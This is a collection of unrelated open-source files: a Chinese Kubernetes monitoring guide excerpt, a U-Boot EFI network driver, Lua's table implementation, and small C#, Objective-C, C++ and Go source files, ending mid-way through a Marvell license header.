really unique, but it's enough for us because error will // only occur when instances of the same container in the same pod have the same UID. The // chance is really slim. func BuildDockerName(dockerName KubeletContainerName, container *v1.Container) (string, string, string) { containerName := dockerName.ContainerName + "." + strconv.FormatUint(kubecontainer.HashContainerLegacy(container), 16) stableName := fmt.Sprintf("%s_%s_%s_%s", containerNamePrefix, containerName, dockerName.PodFullName, dockerName.PodUID) UID := fmt.Sprintf("%08x", rand.Uint32()) return stableName, fmt.Sprintf("%s_%s", stableName, UID), UID } // Unpacks a container name, returning the pod full name and container name we would have used to // construct the docker name. If we are unable to parse the name, an error is returned. func ParseDockerName(name string) (dockerName *KubeletContainerName, hash uint64, err error) { // For some reason docker appears to be appending '/' to names. // If it's there, strip it. name = strings.TrimPrefix(name, "/") parts := strings.Split(name, "_") if len(parts) == 0 || parts[0] != containerNamePrefix { err = fmt.Errorf("failed to parse Docker container name %q into parts", name) return nil, 0, err } if len(parts) < 6 { // We have at least 5 fields. We may have more in the future. // Anything with less fields than this is not something we can // manage. glog.Warningf("found a container with the %q prefix, but too few fields (%d): %q", containerNamePrefix, len(parts), name) err = fmt.Errorf("Docker container name %q has less parts than expected %v", name, parts) return nil, 0, err } nameParts := strings.Split(parts[1], ".") containerName := nameParts[0] if len(nameParts) > 1 { hash, err = strconv.ParseUint(nameParts[1], 16, 32) if err != nil { glog.Warningf("invalid container hash %q in container %q", nameParts[1], name) } } podFullName := parts[2] + "_" + parts[3] podUID := types.UID(parts[4]) return &KubeletContainerName{podFullName, podUID, containerName}, hash, nil } ``` 我们可以看到容器名称中包含如下几个字段,中间用下划线隔开,至少有6个字段,未来可能添加更多字段。 下面的是四个基本字段。 ``` containerNamePrefix_containerName_PodFullName_PodUID ``` 所有kubernetes启动的容器的containerNamePrefix都是k8s。 Kubernetes启动的docker容器的容器名称规范,下面以官方示例guestbook为例,Deployment 名为 frontend中启动的名为php-redis的docker容器的副本书为3。 Deployment frontend的配置如下: ```yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: frontend spec: template: metadata: labels: app: guestbook tier: frontend spec: containers: - name: php-redis image: harbor-001.jimmysong.io/library/gb-frontend:v4 resources: requests: cpu: 100m memory: 100Mi env: - name: GET_HOSTS_FROM value: dns ports: - containerPort: 80 ``` 我们选取三个实例中的一个运行php-redis的docker容器。 ``` k8s_php-redis_frontend-2337258262-154p7_default_d8a2e2dd-3617-11e7-a4b0-ecf4bbe5d414_0 ``` - containerNamePrefix:k8s - containerName:php-redis - podFullName:frontend-2337258262-154p7 - computeHash:154p7 - deploymentName:frontend - replicaSetName:frontend-2337258262 - namespace:default - podUID:d8a2e2dd-3617-11e7-a4b0-ecf4bbe5d414 kubernetes容器命名规则解析,见下图所示。 ![kubernetes的容器命名规则示意图](../images/kubernetes-container-naming-rule.jpg) ## 使用Heapster进行集群监控 [Heapster](https://github.com/kubernetes/heapster)是kubernetes官方提供的监控方案,我们在前面的章节中已经讲解了如何部署和使用heapster,见[安装Heapster插件](../practice/heapster-addon-installation.md)。 但是Grafana显示的指标只根据Namespace和Pod两层来分类,实在有些单薄,我们希望通过应用的label增加service这一层分类。架构图如下: ![Heapster架构图(改进版)](../images/kubernetes-heapster-monitoring.png) 在不改变原有架构的基础上,通过应用的label来区分不同应用的pod。 ## 应用监控 Kubernetes中应用的监控架构如图: ![应用监控架构图](../images/kubernetes-app-monitoring.png) 这种方式有以下几个要点: - 访问kubernetes API获取应用Pod的IP和端口 - Pod labels作为监控metric的tag - 直接访问应用的Pod的IP和端口获取应用监控数据 - metrics发送到[OWL](https://github.com/talkingdata/owl)中存储和展示 ## 应用拓扑状态图 对于复杂的应用编排和依赖关系,我们希望能够有清晰的图标一览应用状态和拓扑关系,因此我们用到了Weaveworks开源的[scope](https://github.com/weaveworks/scope)。 **安装scope** 我们在kubernetes集群上使用standalone方式安装,详情参考[Installing Weave Scope](https://www.weave.works/docs/scope/latest/installing/#k8s)。 使用[scope.yaml](https://github.com/rootsongjc/kubernetes-handbook/blob/master/manifests/weave/scope.yaml)文件安装scope,该服务安装在`kube-system` namespace下。 ```bash $ kubectl apply -f scope.yaml ``` 创建一个新的Ingress:`kube-system.yaml`,配置如下: ```yaml apiVersion: extensions/v1beta1 kind: Ingress metadata: name: traefik-ingress namespace: kube-system spec: rules: - host: scope.weave.io http: paths: - path: / backend: serviceName: weave-scope-app servicePort: 80 ``` 执行`kubectl apply -f kube-system.yaml`后在你的主机上的`/etc/hosts`文件中添加一条记录: ``` 172.20.0.119 scope.weave.io ``` 在浏览器中访问`scope.weave.io`就可以访问到scope了,详见[边缘节点配置](edge-node-configuration.md)。 ![应用拓扑图](../images/weave-scope-service-topology.jpg) 如上图所示,scope可以监控kubernetes集群中的一系列资源的状态、资源使用情况、应用拓扑、scale、还可以直接通过浏览器进入容器内部调试等。 ## 参考 - [Monitoring in the Kubernetes Era](https://www.datadoghq.com/blog/monitoring-kubernetes-era/)
{ "pile_set_name": "Github" }
/* * EFI application network access support * * Copyright (c) 2016 Alexander Graf * * SPDX-License-Identifier: GPL-2.0+ */ #include <common.h> #include <efi_loader.h> #include <inttypes.h> #include <lcd.h> #include <malloc.h> DECLARE_GLOBAL_DATA_PTR; static const efi_guid_t efi_net_guid = EFI_SIMPLE_NETWORK_GUID; static const efi_guid_t efi_pxe_guid = EFI_PXE_GUID; static struct efi_pxe_packet *dhcp_ack; static bool new_rx_packet; static void *new_tx_packet; struct efi_net_obj { /* Generic EFI object parent class data */ struct efi_object parent; /* EFI Interface callback struct for network */ struct efi_simple_network net; struct efi_simple_network_mode net_mode; /* Device path to the network adapter */ struct efi_device_path_mac_addr dp_mac; struct efi_device_path_file_path dp_end; /* PXE struct to transmit dhcp data */ struct efi_pxe pxe; struct efi_pxe_mode pxe_mode; }; static efi_status_t EFIAPI efi_net_start(struct efi_simple_network *this) { EFI_ENTRY("%p", this); return EFI_EXIT(EFI_SUCCESS); } static efi_status_t EFIAPI efi_net_stop(struct efi_simple_network *this) { EFI_ENTRY("%p", this); return EFI_EXIT(EFI_SUCCESS); } static efi_status_t EFIAPI efi_net_initialize(struct efi_simple_network *this, ulong extra_rx, ulong extra_tx) { EFI_ENTRY("%p, %lx, %lx", this, extra_rx, extra_tx); eth_init(); return EFI_EXIT(EFI_SUCCESS); } static efi_status_t EFIAPI efi_net_reset(struct efi_simple_network *this, int extended_verification) { EFI_ENTRY("%p, %x", this, extended_verification); return EFI_EXIT(EFI_SUCCESS); } static efi_status_t EFIAPI efi_net_shutdown(struct efi_simple_network *this) { EFI_ENTRY("%p", this); return EFI_EXIT(EFI_SUCCESS); } static efi_status_t EFIAPI efi_net_receive_filters( struct efi_simple_network *this, u32 enable, u32 disable, int reset_mcast_filter, ulong mcast_filter_count, struct efi_mac_address *mcast_filter) { EFI_ENTRY("%p, %x, %x, %x, %lx, %p", this, enable, disable, reset_mcast_filter, mcast_filter_count, mcast_filter); /* XXX Do we care? */ return EFI_EXIT(EFI_SUCCESS); } static efi_status_t EFIAPI efi_net_station_address( struct efi_simple_network *this, int reset, struct efi_mac_address *new_mac) { EFI_ENTRY("%p, %x, %p", this, reset, new_mac); return EFI_EXIT(EFI_INVALID_PARAMETER); } static efi_status_t EFIAPI efi_net_statistics(struct efi_simple_network *this, int reset, ulong *stat_size, void *stat_table) { EFI_ENTRY("%p, %x, %p, %p", this, reset, stat_size, stat_table); return EFI_EXIT(EFI_INVALID_PARAMETER); } static efi_status_t EFIAPI efi_net_mcastiptomac(struct efi_simple_network *this, int ipv6, struct efi_ip_address *ip, struct efi_mac_address *mac) { EFI_ENTRY("%p, %x, %p, %p", this, ipv6, ip, mac); return EFI_EXIT(EFI_INVALID_PARAMETER); } static efi_status_t EFIAPI efi_net_nvdata(struct efi_simple_network *this, int read_write, ulong offset, ulong buffer_size, char *buffer) { EFI_ENTRY("%p, %x, %lx, %lx, %p", this, read_write, offset, buffer_size, buffer); return EFI_EXIT(EFI_INVALID_PARAMETER); } static efi_status_t EFIAPI efi_net_get_status(struct efi_simple_network *this, u32 *int_status, void **txbuf) { EFI_ENTRY("%p, %p, %p", this, int_status, txbuf); /* We send packets synchronously, so nothing is outstanding */ if (int_status) *int_status = 0; if (txbuf) *txbuf = new_tx_packet; new_tx_packet = NULL; return EFI_EXIT(EFI_SUCCESS); } static efi_status_t EFIAPI efi_net_transmit(struct efi_simple_network *this, ulong header_size, ulong buffer_size, void *buffer, struct efi_mac_address *src_addr, struct efi_mac_address *dest_addr, u16 *protocol) { EFI_ENTRY("%p, %lx, %lx, %p, %p, %p, %p", this, header_size, buffer_size, buffer, src_addr, dest_addr, protocol); if (header_size) { /* We would need to create the header if header_size != 0 */ return EFI_EXIT(EFI_INVALID_PARAMETER); } #ifdef CONFIG_EFI_LOADER_BOUNCE_BUFFER /* Ethernet packets always fit, just bounce */ memcpy(efi_bounce_buffer, buffer, buffer_size); net_send_packet(efi_bounce_buffer, buffer_size); #else net_send_packet(buffer, buffer_size); #endif new_tx_packet = buffer; return EFI_EXIT(EFI_SUCCESS); } static void efi_net_push(void *pkt, int len) { new_rx_packet = true; } static efi_status_t EFIAPI efi_net_receive(struct efi_simple_network *this, ulong *header_size, ulong *buffer_size, void *buffer, struct efi_mac_address *src_addr, struct efi_mac_address *dest_addr, u16 *protocol) { EFI_ENTRY("%p, %p, %p, %p, %p, %p, %p", this, header_size, buffer_size, buffer, src_addr, dest_addr, protocol); push_packet = efi_net_push; eth_rx(); push_packet = NULL; if (!new_rx_packet) return EFI_EXIT(EFI_NOT_READY); if (*buffer_size < net_rx_packet_len) { /* Packet doesn't fit, try again with bigger buf */ *buffer_size = net_rx_packet_len; return EFI_EXIT(EFI_BUFFER_TOO_SMALL); } memcpy(buffer, net_rx_packet, net_rx_packet_len); *buffer_size = net_rx_packet_len; new_rx_packet = false; return EFI_EXIT(EFI_SUCCESS); } void efi_net_set_dhcp_ack(void *pkt, int len) { int maxsize = sizeof(*dhcp_ack); if (!dhcp_ack) dhcp_ack = malloc(maxsize); memcpy(dhcp_ack, pkt, min(len, maxsize)); } /* This gets called from do_bootefi_exec(). */ int efi_net_register(void) { struct efi_net_obj *netobj; struct efi_device_path_mac_addr dp_net = { .dp.type = DEVICE_PATH_TYPE_MESSAGING_DEVICE, .dp.sub_type = DEVICE_PATH_SUB_TYPE_MSG_MAC_ADDR, .dp.length = sizeof(dp_net), }; struct efi_device_path_file_path dp_end = { .dp.type = DEVICE_PATH_TYPE_END, .dp.sub_type = DEVICE_PATH_SUB_TYPE_END, .dp.length = sizeof(dp_end), }; if (!eth_get_dev()) { /* No eth device active, don't expose any */ return 0; } /* We only expose the "active" eth device, so one is enough */ netobj = calloc(1, sizeof(*netobj)); /* Fill in object data */ netobj->parent.protocols[0].guid = &efi_net_guid; netobj->parent.protocols[0].protocol_interface = &netobj->net; netobj->parent.protocols[1].guid = &efi_guid_device_path; netobj->parent.protocols[1].protocol_interface = &netobj->dp_mac; netobj->parent.protocols[2].guid = &efi_pxe_guid; netobj->parent.protocols[2].protocol_interface = &netobj->pxe; netobj->parent.handle = &netobj->net; netobj->net.start = efi_net_start; netobj->net.stop = efi_net_stop; netobj->net.initialize = efi_net_initialize; netobj->net.reset = efi_net_reset; netobj->net.shutdown = efi_net_shutdown; netobj->net.receive_filters = efi_net_receive_filters; netobj->net.station_address = efi_net_station_address; netobj->net.statistics = efi_net_statistics; netobj->net.mcastiptomac = efi_net_mcastiptomac; netobj->net.nvdata = efi_net_nvdata; netobj->net.get_status = efi_net_get_status; netobj->net.transmit = efi_net_transmit; netobj->net.receive = efi_net_receive; netobj->net.mode = &netobj->net_mode; netobj->net_mode.state = EFI_NETWORK_STARTED; netobj->dp_mac = dp_net; netobj->dp_end = dp_end; memcpy(netobj->dp_mac.mac.addr, eth_get_ethaddr(), 6); memcpy(netobj->net_mode.current_address.mac_addr, eth_get_ethaddr(), 6); netobj->net_mode.max_packet_size = PKTSIZE; netobj->pxe.mode = &netobj->pxe_mode; if (dhcp_ack) netobj->pxe_mode.dhcp_ack = *dhcp_ack; /* Hook net up to the device list */ list_add_tail(&netobj->parent.link, &efi_obj_list); return 0; }
{ "pile_set_name": "Github" }
/* LICENSE ------- Copyright (C) 2007 Ray Molenkamp This source code is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this source code or the software it produces. Permission is granted to anyone to use this source code for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this source code must not be misrepresented; you must not claim that you wrote the original source code. If you use this source code in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original source code. 3. This notice may not be removed or altered from any source distribution. */ // adapted for NAudio, // updated to be in line with http://msdn.microsoft.com/en-us/library/dd370823%28v=vs.85%29.aspx using System; namespace NAudio.CoreAudioApi { /// <summary> /// Device State /// </summary> [Flags] public enum DeviceState { /// <summary> /// DEVICE_STATE_ACTIVE /// </summary> Active = 0x00000001, /// <summary> /// DEVICE_STATE_DISABLED /// </summary> Disabled = 0x00000002, /// <summary> /// DEVICE_STATE_NOTPRESENT /// </summary> NotPresent = 0x00000004, /// <summary> /// DEVICE_STATE_UNPLUGGED /// </summary> Unplugged = 0x00000008, /// <summary> /// DEVICE_STATEMASK_ALL /// </summary> All = 0x0000000F } }
{ "pile_set_name": "Github" }
// OCMockito by Jon Reid, https://qualitycoding.org/ // Copyright 2020 Quality Coding, Inc. See LICENSE.txt #import "MKTAnswer.h" NS_ASSUME_NONNULL_BEGIN /*! * @abstract Method answer that executes a block. */ @interface MKTExecutesBlock : NSObject <MKTAnswer> - (instancetype)initWithBlock:(id (^)(NSInvocation *))block NS_DESIGNATED_INITIALIZER; - (instancetype)init NS_UNAVAILABLE; @end NS_ASSUME_NONNULL_END
{ "pile_set_name": "Github" }
/* ** $Id: ltable.c,v 2.32.1.2 2007/12/28 15:32:23 roberto Exp $ ** Lua tables (hash) ** See Copyright Notice in lua.h */ /* ** Implementation of tables (aka arrays, objects, or hash tables). ** Tables keep its elements in two parts: an array part and a hash part. ** Non-negative integer keys are all candidates to be kept in the array ** part. The actual size of the array is the largest `n' such that at ** least half the slots between 0 and n are in use. ** Hash uses a mix of chained scatter table with Brent's variation. ** A main invariant of these tables is that, if an element is not ** in its main position (i.e. the `original' position that its hash gives ** to it), then the colliding element is in its own main position. ** Hence even when the load factor reaches 100%, performance remains good. */ #include <math.h> #include <string.h> #define ltable_c #define LUA_CORE #include "lua.h" #include "ldebug.h" #include "ldo.h" #include "lgc.h" #include "lmem.h" #include "lobject.h" #include "lstate.h" #include "ltable.h" /* ** max size of array part is 2^MAXBITS */ #if LUAI_BITSINT > 26 #define MAXBITS 26 #else #define MAXBITS (LUAI_BITSINT-2) #endif #define MAXASIZE (1 << MAXBITS) #define hashpow2(t,n) (gnode(t, lmod((n), sizenode(t)))) #define hashstr(t,str) hashpow2(t, (str)->tsv.hash) #define hashboolean(t,p) hashpow2(t, p) /* ** for some types, it is better to avoid modulus by power of 2, as ** they tend to have many 2 factors. */ #define hashmod(t,n) (gnode(t, ((n) % ((sizenode(t)-1)|1)))) #define hashpointer(t,p) hashmod(t, IntPoint(p)) /* ** number of ints inside a lua_Number */ #define numints cast_int(sizeof(lua_Number)/sizeof(int)) #define dummynode (&dummynode_) static const Node dummynode_ = { {{NULL}, LUA_TNIL}, /* value */ {{{NULL}, LUA_TNIL, NULL}} /* key */ }; /* ** hash for lua_Numbers */ static Node *hashnum (const Table *t, lua_Number n) { unsigned int a[numints]; int i; if (luai_numeq(n, 0)) /* avoid problems with -0 */ return gnode(t, 0); memcpy(a, &n, sizeof(a)); for (i = 1; i < numints; i++) a[0] += a[i]; return hashmod(t, a[0]); } /* ** returns the `main' position of an element in a table (that is, the index ** of its hash value) */ static Node *mainposition (const Table *t, const TValue *key) { switch (ttype(key)) { case LUA_TNUMBER: return hashnum(t, nvalue(key)); case LUA_TSTRING: return hashstr(t, rawtsvalue(key)); case LUA_TBOOLEAN: return hashboolean(t, bvalue(key)); case LUA_TLIGHTUSERDATA: return hashpointer(t, pvalue(key)); default: return hashpointer(t, gcvalue(key)); } } /* ** returns the index for `key' if `key' is an appropriate key to live in ** the array part of the table, -1 otherwise. */ static int arrayindex (const TValue *key) { if (ttisnumber(key)) { lua_Number n = nvalue(key); int k; lua_number2int(k, n); if (luai_numeq(cast_num(k), n)) return k; } return -1; /* `key' did not match some condition */ } /* ** returns the index of a `key' for table traversals. First goes all ** elements in the array part, then elements in the hash part. The ** beginning of a traversal is signalled by -1. */ static int findindex (lua_State *L, Table *t, StkId key) { int i; if (ttisnil(key)) return -1; /* first iteration */ i = arrayindex(key); if (0 < i && i <= t->sizearray) /* is `key' inside array part? */ return i-1; /* yes; that's the index (corrected to C) */ else { Node *n = mainposition(t, key); do { /* check whether `key' is somewhere in the chain */ /* key may be dead already, but it is ok to use it in `next' */ if (luaO_rawequalObj(key2tval(n), key) || (ttype(gkey(n)) == LUA_TDEADKEY && iscollectable(key) && gcvalue(gkey(n)) == gcvalue(key))) { i = cast_int(n - gnode(t, 0)); /* key index in hash table */ /* hash elements are numbered after array ones */ return i + t->sizearray; } else n = gnext(n); } while (n); luaG_runerror(L, "invalid key to " LUA_QL("next")); /* key not found */ return 0; /* to avoid warnings */ } } int luaH_next (lua_State *L, Table *t, StkId key) { int i = findindex(L, t, key); /* find original element */ for (i++; i < t->sizearray; i++) { /* try first array part */ if (!ttisnil(&t->array[i])) { /* a non-nil value? */ setnvalue(key, cast_num(i+1)); setobj2s(L, key+1, &t->array[i]); return 1; } } for (i -= t->sizearray; i < sizenode(t); i++) { /* then hash part */ if (!ttisnil(gval(gnode(t, i)))) { /* a non-nil value? */ setobj2s(L, key, key2tval(gnode(t, i))); setobj2s(L, key+1, gval(gnode(t, i))); return 1; } } return 0; /* no more elements */ } /* ** {============================================================= ** Rehash ** ============================================================== */ static int computesizes (int nums[], int *narray) { int i; int twotoi; /* 2^i */ int a = 0; /* number of elements smaller than 2^i */ int na = 0; /* number of elements to go to array part */ int n = 0; /* optimal size for array part */ for (i = 0, twotoi = 1; twotoi/2 < *narray; i++, twotoi *= 2) { if (nums[i] > 0) { a += nums[i]; if (a > twotoi/2) { /* more than half elements present? */ n = twotoi; /* optimal size (till now) */ na = a; /* all elements smaller than n will go to array part */ } } if (a == *narray) break; /* all elements already counted */ } *narray = n; lua_assert(*narray/2 <= na && na <= *narray); return na; } static int countint (const TValue *key, int *nums) { int k = arrayindex(key); if (0 < k && k <= MAXASIZE) { /* is `key' an appropriate array index? */ nums[ceillog2(k)]++; /* count as such */ return 1; } else return 0; } static int numusearray (const Table *t, int *nums) { int lg; int ttlg; /* 2^lg */ int ause = 0; /* summation of `nums' */ int i = 1; /* count to traverse all array keys */ for (lg=0, ttlg=1; lg<=MAXBITS; lg++, ttlg*=2) { /* for each slice */ int lc = 0; /* counter */ int lim = ttlg; if (lim > t->sizearray) { lim = t->sizearray; /* adjust upper limit */ if (i > lim) break; /* no more elements to count */ } /* count elements in range (2^(lg-1), 2^lg] */ for (; i <= lim; i++) { if (!ttisnil(&t->array[i-1])) lc++; } nums[lg] += lc; ause += lc; } return ause; } static int numusehash (const Table *t, int *nums, int *pnasize) { int totaluse = 0; /* total number of elements */ int ause = 0; /* summation of `nums' */ int i = sizenode(t); while (i--) { Node *n = &t->node[i]; if (!ttisnil(gval(n))) { ause += countint(key2tval(n), nums); totaluse++; } } *pnasize += ause; return totaluse; } static void setarrayvector (lua_State *L, Table *t, int size) { int i; luaM_reallocvector(L, t->array, t->sizearray, size, TValue); for (i=t->sizearray; i<size; i++) setnilvalue(&t->array[i]); t->sizearray = size; } static void setnodevector (lua_State *L, Table *t, int size) { int lsize; if (size == 0) { /* no elements to hash part? */ t->node = cast(Node *, dummynode); /* use common `dummynode' */ lsize = 0; } else { int i; lsize = ceillog2(size); if (lsize > MAXBITS) luaG_runerror(L, "table overflow"); size = twoto(lsize); t->node = luaM_newvector(L, size, Node); for (i=0; i<size; i++) { Node *n = gnode(t, i); gnext(n) = NULL; setnilvalue(gkey(n)); setnilvalue(gval(n)); } } t->lsizenode = cast_byte(lsize); t->lastfree = gnode(t, size); /* all positions are free */ } static void resize (lua_State *L, Table *t, int nasize, int nhsize) { int i; int oldasize = t->sizearray; int oldhsize = t->lsizenode; Node *nold = t->node; /* save old hash ... */ if (nasize > oldasize) /* array part must grow? */ setarrayvector(L, t, nasize); /* create new hash part with appropriate size */ setnodevector(L, t, nhsize); if (nasize < oldasize) { /* array part must shrink? */ t->sizearray = nasize; /* re-insert elements from vanishing slice */ for (i=nasize; i<oldasize; i++) { if (!ttisnil(&t->array[i])) setobjt2t(L, luaH_setnum(L, t, i+1), &t->array[i]); } /* shrink array */ luaM_reallocvector(L, t->array, oldasize, nasize, TValue); } /* re-insert elements from hash part */ for (i = twoto(oldhsize) - 1; i >= 0; i--) { Node *old = nold+i; if (!ttisnil(gval(old))) setobjt2t(L, luaH_set(L, t, key2tval(old)), gval(old)); } #ifdef _WIN32 #pragma warning(push) #pragma warning(disable: 4334) #endif if (nold != dummynode) luaM_freearray(L, nold, twoto(oldhsize), Node); /* free old array */ #ifdef _WIN32 #pragma warning(pop) #endif } void luaH_resizearray (lua_State *L, Table *t, int nasize) { int nsize = (t->node == dummynode) ? 0 : sizenode(t); resize(L, t, nasize, nsize); } static void rehash (lua_State *L, Table *t, const TValue *ek) { int nasize, na; int nums[MAXBITS+1]; /* nums[i] = number of keys between 2^(i-1) and 2^i */ int i; int totaluse; for (i=0; i<=MAXBITS; i++) nums[i] = 0; /* reset counts */ nasize = numusearray(t, nums); /* count keys in array part */ totaluse = nasize; /* all those keys are integer keys */ totaluse += numusehash(t, nums, &nasize); /* count keys in hash part */ /* count extra key */ nasize += countint(ek, nums); totaluse++; /* compute new size for array part */ na = computesizes(nums, &nasize); /* resize the table to new computed sizes */ resize(L, t, nasize, totaluse - na); } /* ** }============================================================= */ Table *luaH_new (lua_State *L, int narray, int nhash) { Table *t = luaM_new(L, Table); luaC_link(L, obj2gco(t), LUA_TTABLE); t->metatable = NULL; t->flags = cast_byte(~0); /* temporary values (kept only if some malloc fails) */ t->array = NULL; t->sizearray = 0; t->lsizenode = 0; t->node = cast(Node *, dummynode); setarrayvector(L, t, narray); setnodevector(L, t, nhash); return t; } void luaH_free (lua_State *L, Table *t) { #ifdef _WIN32 #pragma warning(push) #pragma warning(disable: 4334) #endif if (t->node != dummynode) luaM_freearray(L, t->node, sizenode(t), Node); #ifdef _WIN32 #pragma warning(pop) #endif luaM_freearray(L, t->array, t->sizearray, TValue); luaM_free(L, t); } static Node *getfreepos (Table *t) { while (t->lastfree-- > t->node) { if (ttisnil(gkey(t->lastfree))) return t->lastfree; } return NULL; /* could not find a free place */ } /* ** inserts a new key into a hash table; first, check whether key's main ** position is free. If not, check whether colliding node is in its main ** position or not: if it is not, move colliding node to an empty place and ** put new key in its main position; otherwise (colliding node is in its main ** position), new key goes to an empty position. */ static TValue *newkey (lua_State *L, Table *t, const TValue *key) { Node *mp = mainposition(t, key); if (!ttisnil(gval(mp)) || mp == dummynode) { Node *othern; Node *n = getfreepos(t); /* get a free place */ if (n == NULL) { /* cannot find a free place? */ rehash(L, t, key); /* grow table */ return luaH_set(L, t, key); /* re-insert key into grown table */ } lua_assert(n != dummynode); othern = mainposition(t, key2tval(mp)); if (othern != mp) { /* is colliding node out of its main position? */ /* yes; move colliding node into free position */ while (gnext(othern) != mp) othern = gnext(othern); /* find previous */ gnext(othern) = n; /* redo the chain with `n' in place of `mp' */ *n = *mp; /* copy colliding node into free pos. (mp->next also goes) */ gnext(mp) = NULL; /* now `mp' is free */ setnilvalue(gval(mp)); } else { /* colliding node is in its own main position */ /* new node will go into free position */ gnext(n) = gnext(mp); /* chain new position */ gnext(mp) = n; mp = n; } } gkey(mp)->value = key->value; gkey(mp)->tt = key->tt; luaC_barriert(L, t, key); lua_assert(ttisnil(gval(mp))); return gval(mp); } /* ** search function for integers */ const TValue *luaH_getnum (Table *t, int key) { /* (1 <= key && key <= t->sizearray) */ if (cast(unsigned int, key-1) < cast(unsigned int, t->sizearray)) return &t->array[key-1]; else { lua_Number nk = cast_num(key); Node *n = hashnum(t, nk); do { /* check whether `key' is somewhere in the chain */ if (ttisnumber(gkey(n)) && luai_numeq(nvalue(gkey(n)), nk)) return gval(n); /* that's it */ else n = gnext(n); } while (n); return luaO_nilobject; } } /* ** search function for strings */ const TValue *luaH_getstr (Table *t, TString *key) { Node *n = hashstr(t, key); do { /* check whether `key' is somewhere in the chain */ if (ttisstring(gkey(n)) && rawtsvalue(gkey(n)) == key) return gval(n); /* that's it */ else n = gnext(n); } while (n); return luaO_nilobject; } /* ** main search function */ const TValue *luaH_get (Table *t, const TValue *key) { switch (ttype(key)) { case LUA_TNIL: return luaO_nilobject; case LUA_TSTRING: return luaH_getstr(t, rawtsvalue(key)); case LUA_TNUMBER: { int k; lua_Number n = nvalue(key); lua_number2int(k, n); if (luai_numeq(cast_num(k), nvalue(key))) /* index is int? */ return luaH_getnum(t, k); /* use specialized version */ /* else go through */ } default: { Node *n = mainposition(t, key); do { /* check whether `key' is somewhere in the chain */ if (luaO_rawequalObj(key2tval(n), key)) return gval(n); /* that's it */ else n = gnext(n); } while (n); return luaO_nilobject; } } } TValue *luaH_set (lua_State *L, Table *t, const TValue *key) { const TValue *p = luaH_get(t, key); t->flags = 0; if (p != luaO_nilobject) return cast(TValue *, p); else { if (ttisnil(key)) luaG_runerror(L, "table index is nil"); else if (ttisnumber(key) && luai_numisnan(nvalue(key))) luaG_runerror(L, "table index is NaN"); return newkey(L, t, key); } } TValue *luaH_setnum (lua_State *L, Table *t, int key) { const TValue *p = luaH_getnum(t, key); if (p != luaO_nilobject) return cast(TValue *, p); else { TValue k; setnvalue(&k, cast_num(key)); return newkey(L, t, &k); } } TValue *luaH_setstr (lua_State *L, Table *t, TString *key) { const TValue *p = luaH_getstr(t, key); if (p != luaO_nilobject) return cast(TValue *, p); else { TValue k; setsvalue(L, &k, key); return newkey(L, t, &k); } } static int unbound_search (Table *t, unsigned int j) { unsigned int i = j; /* i is zero or a present index */ j++; /* find `i' and `j' such that i is present and j is not */ while (!ttisnil(luaH_getnum(t, j))) { i = j; j *= 2; if (j > cast(unsigned int, MAX_INT)) { /* overflow? */ /* table was built with bad purposes: resort to linear search */ i = 1; while (!ttisnil(luaH_getnum(t, i))) i++; return i - 1; } } /* now do a binary search between them */ while (j - i > 1) { unsigned int m = (i+j)/2; if (ttisnil(luaH_getnum(t, m))) j = m; else i = m; } return i; } /* ** Try to find a boundary in table `t'. A `boundary' is an integer index ** such that t[i] is non-nil and t[i+1] is nil (and 0 if t[1] is nil). */ int luaH_getn (Table *t) { unsigned int j = t->sizearray; if (j > 0 && ttisnil(&t->array[j - 1])) { /* there is a boundary in the array part: (binary) search for it */ unsigned int i = 0; while (j - i > 1) { unsigned int m = (i+j)/2; if (ttisnil(&t->array[m - 1])) j = m; else i = m; } return i; } /* else must find a boundary in hash part */ else if (t->node == dummynode) /* hash part is empty? */ return j; /* that is easy... */ else return unbound_search(t, j); } #if defined(LUA_DEBUG) Node *luaH_mainposition (const Table *t, const TValue *key) { return mainposition(t, key); } int luaH_isdummy (Node *n) { return n == dummynode; } #endif
{ "pile_set_name": "Github" }
#pragma once #include "CommandDispatcher.h" #include "CommandHandler.h" class FPluginHandler : public FCommandHandler { public: void RegisterCommands(); FExecStatus GetPort(const TArray<FString>& Args); FExecStatus SetPort(const TArray<FString>& Args); FExecStatus GetUnrealCVStatus(const TArray<FString>& Args); /** Get the help message of defined commands */ FExecStatus GetCommands(const TArray<FString>& Args); FExecStatus Echo(const TArray<FString>& Args); /** vget /unrealcv/version */ FExecStatus GetVersion(const TArray<FString>& Args); /** vget /scene/name */ FExecStatus GetSceneName(const TArray<FString>& Args); FExecStatus GetLevelName(const TArray<FString>& Args); };
{ "pile_set_name": "Github" }
// Copyright 2015 The oauth2 Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // Package bitbucket provides constants for using OAuth2 to access Bitbucket. package bitbucket import ( "golang.org/x/oauth2" ) // Endpoint is Bitbucket's OAuth 2.0 endpoint. var Endpoint = oauth2.Endpoint{ AuthURL: "https://bitbucket.org/site/oauth2/authorize", TokenURL: "https://bitbucket.org/site/oauth2/access_token", }
{ "pile_set_name": "Github" }
/******************************************************************************* Copyright (C) Marvell International Ltd. and its affiliates This software file (the "File") is owned and distributed by Marvell International Ltd. and/or its affiliates ("Marvell") under the following alternative licensing terms. Once you have made an election to distribute the File under one of the following license alternatives, please (i) delete this introductory statement regarding license alternatives, (ii) delete the two license alternatives that you have not elected to use and (iii) preserve the Marvell copyright notice above. ******************************************************************************** Marvell Commercial License Option If you received this File from Marvell and you have entered into a commercial license agreement (a "Commercial License") with Marvell, the File is licensed to you under the terms of the applicable Commercial License. ******************************************************************************** Marvell GPL License Option If you received this File from Marvell, you may opt to use, redistribute and/or modify this File in accordance with the terms and conditions of the General Public License Version 2, June 1991 (the "GPL License"), a copy of which is available along with the File in the license.txt file or by writing to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 or on the worldwide web at http://www.gnu.org/licenses/gpl.txt. THE FILE IS DISTRIBUTED AS-IS, WITHOUT WARRANTY OF ANY KIND, AND THE IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE ARE EXPRESSLY DISCLAIMED. The GPL License provides additional details about this warranty disclaimer. ******************************************************************************** Marvell BSD License Option If you received this File from Marvell, you may opt to use, redistribute and/or modify this File under the following licensing terms. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must 